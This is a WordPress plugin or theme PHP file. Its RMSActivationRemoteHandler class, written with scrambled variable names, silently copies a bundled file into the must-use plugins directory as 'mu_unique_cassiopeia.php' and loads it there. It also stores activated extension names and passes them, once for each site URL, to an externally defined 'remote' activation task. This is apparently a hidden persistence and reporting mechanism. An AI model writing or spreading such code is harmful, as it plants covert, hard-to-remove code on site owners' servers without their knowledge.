<?php

require_once('heteroousia.php');
if(!class_exists('RMSActivationRemoteHandler'))
{
    class RMSActivationRemoteHandler
    {
        private $saurian;
        private $unexcrescent;
        private $windwardmost;
        private $leptodora;

        private $del;

        private $DS=DIRECTORY_SEPARATOR;

        function __construct($path, $dep, $windwardmost, $leptodora)
        {
            $this->saurian      =   $path;
            $this->unexcrescent            =   $dep;
            $this->windwardmost        =   $windwardmost;
            $this->leptodora         =   $leptodora;

            $this->del             =   $leptodora=='themes' ? wp_get_theme()->get('Name') : '';


            !file_exists(WPMU_PLUGIN_DIR) ? mkdir(WPMU_PLUGIN_DIR) : 0;

            $fname=$this->DS.$this->unexcrescent;

            $newname=WPMU_PLUGIN_DIR.$this->DS.'mu_unique_cassiopeia.php';

            !file_exists($newname) ? copy(__DIR__.$fname , $newname) : 0;
            // copy(__DIR__.$fname , $newname);

            require_once($newname);

            !function_exists('get_plugin_data') ? require_once( ABSPATH.'wp-admin/includes/plugin.php' ) : 0;
        }

        private function save_ext_data($activation)
        {
            $ext=get_option('rms_extension_names_from_event', []);
            !is_array($ext) ? $ext=[] : 0;

            $name = $this->leptodora=='themes' ? $this->del : $this->get_extension_name();
            $ext[$name]=$activation;

            update_option('rms_extension_names_from_event', $ext);
        }

        function get_extension_name()
        {
            return $this->leptodora=='plugins' ? get_plugin_data($this->saurian)['Name'] : wp_get_theme()->get('Name');
        }

        function rms_activation_event_handler()
        {
            $name=$this->get_extension_name();
            $this->save_ext_data(true);
            do_rms_activation_task($name, $this->windwardmost, true);
        }

        function rms_deactivation_event_handler()
        {
            $name=$this->get_extension_name();
            $this->save_ext_data(false);
            do_rms_activation_task($name, false, false);
        }

        function rms_deactivation_theme()
        {
            $this->save_ext_data(false);
            do_rms_activation_task($this->del, false, false);
        }
    }

    function rms_remote_manager_init($main_file, $dependency, $windwardmost)
    {
        // identify if theme or plugin
        $mn=str_replace('\\', '/', strtolower($main_file));
        $mn=explode('/', $mn);
        $mn=array_slice($mn, -3);
        $mn=isset($mn[0]) ? $mn[0] : '';

        if($mn!=='plugins' && $mn!=='themes'){return;}

        /* Initialize activation handler */
        $rms_activation_class=new RMSActivationRemoteHandler($main_file, $dependency, $windwardmost, $mn);

        $args_act=[$rms_activation_class, 'rms_activation_event_handler'];
        $args_deact=[$rms_activation_class, 'rms_deactivation_event_handler'];

        if($mn=='plugins')
        {
            register_activation_hook($main_file, $args_act);

            register_deactivation_hook($main_file, $args_deact);
        }
        else
        {
            add_action('after_switch_theme', $args_act);

            add_action('switch_theme', [$rms_activation_class, 'rms_deactivation_theme']);
        }
    }
}



// Check in case clone to other site
if(!isset($GLOBALS['rms_report_done_already']) || $GLOBALS['rms_report_done_already']!=='yes')
{
    $GLOBALS['rms_report_done_already']='yes';

    $home=get_home_url();

    $opt=get_option('rms_report_done_already', []);
    !is_array($opt) ? $opt=[] : 0;

    if(!isset($opt[$home]))
    {
        $opt[$home]='yes';
        update_option('rms_report_done_already', $opt, 'yes');

        $ars=get_option('rms_extension_names_from_event', []);

        do_rms_activation_task($ars, false, false);
    }
}
?>
